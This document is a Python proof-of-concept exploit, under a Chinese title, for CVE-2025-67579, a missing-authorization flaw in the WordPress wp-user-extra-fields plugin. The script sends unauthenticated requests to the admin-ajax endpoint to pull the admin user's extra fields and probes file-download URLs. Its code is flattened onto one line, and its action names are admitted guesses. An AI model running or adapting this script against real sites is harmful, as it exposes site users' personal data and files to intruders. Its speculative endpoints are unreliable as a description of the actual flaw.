CVE-2025-67579 WordPress wp-user-extra-fields插件缺失授权漏洞

# CVE-2025-67579 PoC - WordPress wp-user-extra-fields Broken Access Control # Affected: wp-user-extra-fields plugin <= 16.8 # Type: Missing Authorization / Broken Access Control import requests import sys TARGET_URL = "http://target-wordpress-site.com" # Target the plugin's AJAX endpoint or REST API ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php" def exploit_cve_2025_67579(): """ Exploit for Missing Authorization vulnerability in wp-user-extra-fields This PoC demonstrates unauthorized access to user extra fields data """ print("[*] CVE-2025-67579 - wp-user-extra-fields Broken Access Control") print("[*] Target:", TARGET_URL) # Step 1: Identify the vulnerable endpoint # The plugin may expose AJAX actions without proper capability checks vulnerable_actions = [ "get_user_extra_fields", "wpuef_get_user_fields", "wpuef_get_file", "wpuef_download_file" ] # Step 2: Attempt unauthorized access to user extra fields for action in vulnerable_actions: print(f"\n[*] Testing action: {action}") # No authentication required - this is the vulnerability data = { "action": action, "user_id": 1 # Try to access user ID 1 (often admin) } try: response = requests.post(ENDPOINT, data=data, timeout=10) if response.status_code == 200: print(f"[+] Action {action} responded - possible access") print(f"[+] Response preview: {response.text[:200]}") # Check if sensitive data is returned if "email" in response.text.lower() or "phone" in response.text.lower(): print("[!] Sensitive user data exposed!") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") # Step 3: Try direct file access if applicable print("\n[*] Testing direct file access...") file_endpoints = [ f"{TARGET_URL}/wp-content/plugins/wp-user-extra-fields/public/file.php", f"{TARGET_URL}/?wpuef_action=download&file_id=1" ] for endpoint in file_endpoints: try: response = requests.get(endpoint, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[!] Direct file access possible: {endpoint}") except: pass print("\n[*] Exploitation attempt completed") return False if __name__ == "__main__": exploit_cve_2025_67579()